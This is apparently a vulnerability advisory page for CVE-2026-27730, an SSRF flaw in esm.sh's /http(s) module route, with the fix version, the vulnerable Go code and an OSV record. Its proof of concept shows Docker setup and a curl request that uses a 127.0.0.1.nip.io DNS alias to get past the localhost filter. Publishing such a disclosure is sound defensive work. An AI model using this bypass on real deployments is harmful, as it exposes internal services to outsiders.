CVE-2026-27730: Github.com/esm dev/esm.sh Esm.sh Has SSRF Localhost/private-network Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-p2v6-84h2-5x4r
CVSS 8.6
CWE-918
Published
Advisory Summary

CVE-2026-27730 is a HIGH (CVSS 8.6) esm.sh has ssrf localhost/private-network bypass vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/esm dev/esm.sh libraries in the Go ecosystem. The issue involves esm.sh has ssrf localhost/private-network bypass in `/http(s)` module route. Remediation is available by upgrading affected packages to version 0.0.0-20250616164159-0593516c4cfa.

CVE-2026-27730 at a Glance

CVE Identifier CVE-2026-27730
GHSA Identifier GHSA-p2v6-84h2-5x4r
Severity HIGH
CVSS v3.1 Base Score 8.6
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Github.com/esm dev/esm.sh
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-27730

To remediate this vulnerability, upgrade all affected Github.com/esm dev/esm.sh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/esm-dev/esm.sh fixed: 0.0.0-20250616164159-0593516c4cfa
Upgrade github.com/esm-dev/esm.sh to 0.0.0-20250616164159-0593516c4cfa
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/esm-dev/esm.sh

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-27730, inspect your project dependencies for Github.com/esm dev/esm.sh:

inspect dependencies for github.com/esm-dev/esm.sh

Analyze the terminal output to locate any version of Github.com/esm dev/esm.sh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20250616164159-0593516c4cfa), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/esm dev/esm.sh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An SSRF vulnerability (CWE-918) exists in esm.sh’s `/http(s)` fetch route. The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`). This allows an external requester to make the esm.sh server fetch internal localhost services. Severity: High (depending on deployment network exposure). ### Details The vulnerable flow starts at the route handling user-controlled remote URLs: - `server/router.go:532` - Accepts paths beginning with `/http://` or `/https://`. ```go if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") { query := ctx.Query() modUrl, err := url.Parse(pathname[1:]) if err != nil { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } if modUrl.Scheme != "http" && modUrl.Scheme != "https" { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } modUrlStr := modUrl.String() // disallow localhost or ip address for production if !DEBUG { hostname := modUrl.Hostname() if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } } ``` The internal-target block is string-based: - `server/router.go:545` ```go // disallow localhost or ip address for production if !DEBUG { hostname := modUrl.Hostname() if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } } ``` Localhost detection itself is limited to hostname patterns: - `server/utils.go:72` - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`. - It does **not** validate the resolved destination IP after DNS resolution. ```go func isLocalhost(hostname string) bool { return hostname == "localhost" || strings.HasSuffix(hostname, ".localhost") || hostname == "127.0.0.1" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, "192.168.")) } ``` Fetch proceeds with host-string allowlisting: - `server/router.go:595-596` - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)` ```go allowedHosts := map[string]struct{}{} allowedHosts[modUrl.Host] = struct{}{} fetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts) defer recycle() ``` - `internal/fetch/fetch.go:49` - Host allowlist compares host strings, not resolved IP class. ```go func (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) { if c.allowedHosts != nil { if _, ok := c.allowedHosts[url.Host]; !ok { return nil, errors.New("host not allowed: " + url.Host) } } if c.userAgent != "" { if header == nil { header = make(http.Header) } header.Set("User-Agent", c.userAgent) } // ... return c.Do(req) } ``` Because validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections. ### PoC Reproduction tested on local Docker deployment. 1. Run esm.sh: ```bash docker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest ``` 2. Run an internal localhost-only test service (`secret` response) in the same network namespace: - Internal network test server code (app.py): ```python from flask import Flask, Response @app.get('/secret.js') def secret_js(): return Response('secret;\n', mimetype='application/javascript') if __name__ == '__main__': app.run(host='0.0.0.0', port=5555) ``` Run the internal Python server container (same network namespace as `esmsh-5558`): ```bash docker run -d --name internal-5555 --network container:esmsh-5558 \ -v "<YOUR_PATH>/flask-internal:/app" -w /app \ python:3.11-alpine sh -lc "pip install --no-cache-dir flask && python app.py" ``` Since this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network. 4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access. ```bash cloudflared tunnel --url http://127.0.0.1:5558 ``` 5. Trigger SSRF from outside via esm.sh endpoint: ```bash curl -i "https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js" ``` 127.0.0.1 is blocked, <img width="1206" height="322" alt="image" src="https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b" /> but 127.0.0.1.nip.io bypasses the filter. <img width="1210" height="336" alt="image" src="https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff" /> This confirms external requesters can fetch internal localhost service content through esm.sh. ### Impact This is a Server-Side Request Forgery vulnerability (CWE-918). Impacted: - Any esm.sh deployment exposing the `/http(s)` route to untrusted users. - Environments where internal services are reachable from the esm.sh server/container network. Potential consequences: - Access to localhost/internal HTTP services not intended for public access. - Internal service discovery/probing through the server. - Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs). - The exploit surface is extension-limited in this route (e.g., ".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"), so it is not a universal arbitrary-file fetch primitive. - Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.** - If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**

CVE-2026-27730 Affected Github.com/esm dev/esm.sh Versions

1 component(s)
Fixed Versions:
0.0.0-20250616164159-0593516c4cfa
Product / Package Ecosystem Affected Versions Fixed Version
github.com/esm-dev/esm.sh
Go
< 0.0.0-20250616164159-0593516c4cfa
0.0.0-20250616164159-0593516c4cfa

References

Frequently Asked Questions

What is CVE-2026-27730?
CVE-2026-27730 is a security vulnerability in Github.com/esm dev/esm.sh involving esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route under CWE-918: Server-Side Request Forgery (SSRF).
Which Github.com/esm dev/esm.sh versions are affected?
Affected versions include releases prior to 0.0.0-20250616164159-0593516c4cfa across affected packages: github.com/esm-dev/esm.sh.
What version fixes CVE-2026-27730?
Upgrading to 0.0.0-20250616164159-0593516c4cfa (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/esm-dev/esm.sh affected?
Yes, github.com/esm-dev/esm.sh is affected in releases prior to 0.0.0-20250616164159-0593516c4cfa. Upgrade your dependency to 0.0.0-20250616164159-0593516c4cfa or later.
What is the CVSS score of CVE-2026-27730?
CVE-2026-27730 has a CVSS v3.1 base score of 8.6 (HIGH) with vector string CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-27730?
CVE-2026-27730 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-27730?
Run the dependency tree command: 'inspect dependencies for github.com/esm-dev/esm.sh'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p2v6-84h2-5x4r",
  "modified" : "2026-03-02T16:40:47Z",
  "published" : "2026-02-25T22:57:59Z",
  "aliases" : [ "CVE-2026-27730" ],
  "summary" : "esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route",
  "details" : "### Summary\nAn SSRF vulnerability (CWE-918) exists in esm.sh’s `/http(s)` fetch route.  \nThe service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`).  \nThis allows an external requester to make the esm.sh server fetch internal localhost services.  \nSeverity:  High (depending on deployment network exposure).\n\n### Details\nThe vulnerable flow starts at the route handling user-controlled remote URLs:\n\n- `server/router.go:532`\n  - Accepts paths beginning with `/http://` or `/https://`.\n ```go\nif strings.HasPrefix(pathname, \"/http://\") || strings.HasPrefix(pathname, \"/https://\") {\n\tquery := ctx.Query()\n\tmodUrl, err := url.Parse(pathname[1:])\n\tif err != nil {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tif modUrl.Scheme != \"http\" && modUrl.Scheme != \"https\" {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tmodUrlStr := modUrl.String()\n\n\t// disallow localhost or ip address for production\n\tif !DEBUG {\n\t\thostname := modUrl.Hostname()\n\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t}\n\t}\n```\n\nThe internal-target block is string-based:\n\n- `server/router.go:545`\n ```go\n\t\t\t// disallow localhost or ip address for production\n\t\t\tif !DEBUG {\n\t\t\t\thostname := modUrl.Hostname()\n\t\t\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t\t\t}\n\t\t\t}\n```\n\nLocalhost detection itself is limited to hostname patterns:\n\n- `server/utils.go:72`\n  - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`.\n  - It does **not** validate the resolved destination IP after DNS resolution.\n```go\nfunc isLocalhost(hostname string) bool {\n\treturn hostname == \"localhost\" || strings.HasSuffix(hostname, \".localhost\") || hostname == \"127.0.0.1\" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, \"192.168.\"))\n}\n```\n\nFetch proceeds with host-string allowlisting:\n\n- `server/router.go:595-596`\n  - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)`\n```go\nallowedHosts := map[string]struct{}{}\nallowedHosts[modUrl.Host] = struct{}{}\nfetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)\ndefer recycle()\n```\n\n- `internal/fetch/fetch.go:49`\n  - Host allowlist compares host strings, not resolved IP class.\n```go\nfunc (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {\n\tif c.allowedHosts != nil {\n\t\tif _, ok := c.allowedHosts[url.Host]; !ok {\n\t\t\treturn nil, errors.New(\"host not allowed: \" + url.Host)\n\t\t}\n\t}\n\tif c.userAgent != \"\" {\n\t\tif header == nil {\n\t\t\theader = make(http.Header)\n\t\t}\n\t\theader.Set(\"User-Agent\", c.userAgent)\n\t}\n\t// ...\n\treturn c.Do(req)\n}\n```\n\nBecause validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.\n\n### PoC\nReproduction tested on local Docker deployment.\n\n1. Run esm.sh:\n```bash\ndocker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest\n```\n\n2. Run an internal localhost-only test service (`secret` response) in the same network namespace:\n- Internal network test server code (app.py):\n```python\nfrom flask import Flask, Response\n\n@app.get('/secret.js')\ndef secret_js():\n    return Response('secret;\\n', mimetype='application/javascript')\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=5555)\n```\n\nRun the internal Python server container (same network namespace as `esmsh-5558`):\n```bash\ndocker run -d --name internal-5555 --network container:esmsh-5558 \\\n  -v \"<YOUR_PATH>/flask-internal:/app\" -w /app \\\n  python:3.11-alpine sh -lc \"pip install --no-cache-dir flask && python app.py\"\n```\n\nSince this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.\n\n4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.\n```bash\ncloudflared tunnel --url http://127.0.0.1:5558\n```\n\n5. Trigger SSRF from outside via esm.sh endpoint:\n```bash\ncurl -i \"https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js\"\n```\n\n127.0.0.1 is blocked,\n<img width=\"1206\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b\" />\n\n\nbut 127.0.0.1.nip.io bypasses the filter. \n<img width=\"1210\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff\" />\n\n\nThis confirms external requesters can fetch internal localhost service content through esm.sh.\n\n### Impact\nThis is a Server-Side Request Forgery vulnerability (CWE-918).\n\nImpacted:\n- Any esm.sh deployment exposing the `/http(s)` route to untrusted users.\n- Environments where internal services are reachable from the esm.sh server/container network.\n\nPotential consequences:\n- Access to localhost/internal HTTP services not intended for public access.\n- Internal service discovery/probing through the server.\n- Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs).\n- The exploit surface is extension-limited in this route (e.g., \".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"), so it is not a universal arbitrary-file fetch primitive.\n- Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.**\n- If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/esm-dev/esm.sh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20250616164159-0593516c4cfa"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27730"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/pull/1149"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/esm-dev/esm.sh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/releases/tag/v137"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T22:57:59Z",
    "nvd_published_at" : "2026-02-25T16:23:27Z"
  }
}